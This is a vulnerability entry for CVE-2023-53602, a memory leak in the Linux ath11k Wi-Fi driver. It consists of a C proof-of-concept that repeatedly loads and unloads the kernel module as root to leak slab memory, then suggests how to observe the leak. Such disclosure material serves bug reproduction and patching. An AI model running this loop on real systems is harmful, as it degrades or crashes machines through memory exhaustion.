CVE-2023-53602 Linux内核ath11k驱动WMI固件统计内存泄漏漏洞

// CVE-2023-53602 PoC - Triggering memory leak via repeated module load/unload // This PoC demonstrates how to trigger the ath11k firmware stats memory leak // by repeatedly loading and unloading the ath11k kernel module. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Function to execute system command and check result int run_command(const char *cmd) { int ret = system(cmd); if (ret != 0) { fprintf(stderr, "Command failed: %s\n", cmd); return -1; } return 0; } int main(int argc, char *argv[]) { int iterations = 100; // Number of load/unload cycles int i; printf("[*] CVE-2023-53602 - ath11k Firmware Stats Memory Leak PoC\n"); printf("[*] This PoC triggers memory leak by repeated module load/unload\n\n"); if (argc > 1) { iterations = atoi(argv[1]); } printf("[*] Starting %d iterations of ath11k module load/unload\n", iterations); for (i = 0; i < iterations; i++) { printf("\r[*] Iteration %d/%d", i + 1, iterations); fflush(stdout); // Load ath11k module - triggers firmware stats allocation if (run_command("modprobe ath11k 2>/dev/null") != 0) { fprintf(stderr, "\n[!] Failed to load ath11k module. Are you root?\n"); return 1; } // Allow firmware stats to be populated sleep(2); // Unload ath11k module - should free firmware stats but doesn't (the bug) if (run_command("modprobe -r ath11k 2>/dev/null") != 0) { fprintf(stderr, "\n[!] Failed to unload ath11k module\n"); } sleep(1); } printf("\n\n[*] Completed %d iterations\n", iterations); printf("[*] Check kernel memory usage with: cat /proc/meminfo | grep Slab\n"); printf("[*] Or check with: dmesg | grep -i 'memory leak'\n"); return 0; }